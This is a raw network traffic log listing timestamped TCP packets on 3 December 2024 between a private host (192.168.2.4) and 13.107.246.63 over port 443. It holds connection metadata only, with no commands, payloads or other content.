Dec 3, 2024 10:06:23.815418959 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.128241062 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.128935099 CET	49798	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.128953934 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.129399061 CET	49798	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.129404068 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.157978058 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.158309937 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.158324003 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.158720970 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.158725977 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.509227991 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.509843111 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.509866953 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.511142015 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.511149883 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.527738094 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.528397083 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.528413057 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.528770924 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.528775930 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.563147068 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.563205957 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.563261986 CET	49798	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.563431978 CET	49798	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.563446045 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.563456059 CET	49798	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.563466072 CET	443	49798	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.567028999 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.567064047 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.567126989 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.567230940 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.567244053 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.595988989 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.611221075 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.611290932 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.611335993 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.617285967 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.617302895 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.617749929 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.617753983 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.617923975 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.617940903 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.617975950 CET	49797	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.617981911 CET	443	49797	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.622520924 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.622545004 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.622734070 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.622844934 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.622858047 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.953819036 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.953882933 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.953934908 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.961899042 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.961918116 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.961932898 CET	49800	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.961939096 CET	443	49800	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.982448101 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.982510090 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.982563019 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.991262913 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.991281986 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.991323948 CET	49799	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.991328955 CET	443	49799	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.993400097 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.993424892 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.993499994 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.993967056 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.993979931 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.994590998 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.994628906 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:25.994689941 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.994926929 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:25.994940042 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:26.040199041 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:26.040260077 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:26.040307999 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:26.040532112 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:26.040544987 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:26.040554047 CET	49801	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:26.040560007 CET	443	49801	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:26.044362068 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:26.044374943 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:26.044445992 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:26.044763088 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:26.044775009 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.347944975 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.348565102 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.348591089 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.348957062 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.348962069 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.468820095 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.470395088 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.470422983 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.470695972 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.470701933 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.707943916 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.708468914 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.708488941 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.708813906 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.708821058 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.791945934 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.792016029 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.792073011 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.792308092 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.792325974 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.792336941 CET	49802	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.792341948 CET	443	49802	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.796328068 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.796367884 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.796448946 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.796874046 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.796885967 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.823147058 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.823534012 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.823548079 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.823955059 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.823957920 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.838152885 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.838452101 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.838460922 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.838783979 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.838788033 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.921991110 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.922039986 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.922097921 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.922281027 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.922297955 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.922308922 CET	49803	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.922313929 CET	443	49803	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.924729109 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.924747944 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:27.924823046 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.924940109 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:27.924953938 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.144556046 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.144622087 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.144794941 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.144824982 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.144840002 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.144850016 CET	49804	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.144855022 CET	443	49804	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.147407055 CET	49809	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.147449970 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.147531986 CET	49809	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.147792101 CET	49809	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.147806883 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.267046928 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.267107010 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.267153978 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.267262936 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.267268896 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.267280102 CET	49806	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.267283916 CET	443	49806	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.269444942 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.269471884 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.269537926 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.269656897 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.269670963 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.291814089 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.291877031 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.291928053 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.292102098 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.292102098 CET	49805	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.292114973 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.292123079 CET	443	49805	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.293632984 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.293662071 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:28.293730021 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.293831110 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:28.293845892 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.641218901 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.641814947 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:29.641840935 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.642302990 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:29.642307997 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.706918955 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.707365036 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:29.707391024 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.707735062 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:29.707741022 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.927510023 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.928071022 CET	49809	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:29.928101063 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.928512096 CET	49809	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:29.928519011 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.993213892 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.993613005 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:29.993622065 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:29.994009972 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:29.994013071 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.008991003 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.009285927 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.009305954 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.009666920 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.009680033 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.095061064 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.095118046 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.095278978 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.095360041 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.095381975 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.095395088 CET	49807	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.095400095 CET	443	49807	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.098017931 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.098040104 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.098098993 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.098251104 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.098262072 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.150857925 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.150923967 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.150989056 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.151093960 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.151107073 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.151118994 CET	49808	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.151124954 CET	443	49808	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.153389931 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.153418064 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.153485060 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.153592110 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.153606892 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.372088909 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.372143984 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.372200966 CET	49809	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.372406006 CET	49809	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.372422934 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.372436047 CET	49809	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.372442961 CET	443	49809	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.375181913 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.375214100 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.375297070 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.375442982 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.375457048 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.428522110 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.428597927 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.428662062 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.428761005 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.428766012 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.428776026 CET	49810	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.428778887 CET	443	49810	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.431356907 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.431371927 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.431435108 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.431535959 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.431551933 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.444638014 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.444699049 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.444756031 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.445202112 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.445209026 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.445224047 CET	49811	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.445228100 CET	443	49811	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.448378086 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.448426008 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:30.448503017 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.448612928 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:30.448626041 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:31.879102945 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:31.883830070 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:31.883858919 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:31.884279013 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:31.884284019 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:31.940320969 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:31.943305969 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:31.943331003 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:31.947160959 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:31.947168112 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.154920101 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.162388086 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.162420034 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.162868023 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.162872076 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.278537989 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.295715094 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.319555998 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.323292971 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.323362112 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.323407888 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.334156990 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.334178925 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.334182024 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.334193945 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.334747076 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.334753990 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.334897041 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.334901094 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.335083961 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.335103035 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.335114002 CET	49812	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.335119963 CET	443	49812	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.338500977 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.338541031 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.338646889 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.338748932 CET	49817	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.338764906 CET	443	49817	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.384509087 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.384566069 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.384609938 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.384722948 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.384740114 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.384749889 CET	49813	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.384754896 CET	443	49813	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.387840033 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.387873888 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.387929916 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.388184071 CET	49818	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.388196945 CET	443	49818	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.603749990 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.603825092 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.603957891 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.604178905 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.604196072 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.604207039 CET	49814	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.604212046 CET	443	49814	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.606878996 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.606908083 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.606986046 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.607129097 CET	49819	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.607142925 CET	443	49819	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.731376886 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.731451988 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.731503010 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.731621027 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.731645107 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.731657982 CET	49815	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.731662989 CET	443	49815	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.733741999 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.733772993 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.733838081 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.733959913 CET	49820	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.733978033 CET	443	49820	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.749574900 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.749633074 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.749681950 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.749773026 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.749788046 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.749804020 CET	49816	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.749809027 CET	443	49816	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.751640081 CET	49821	443	192.168.2.4	13.107.246.63
Dec 3, 2024 10:06:32.751667023 CET	443	49821	13.107.246.63	192.168.2.4
Dec 3, 2024 10:06:32.751746893 CET	49821	443	192.168.2.4	13.107.246.63
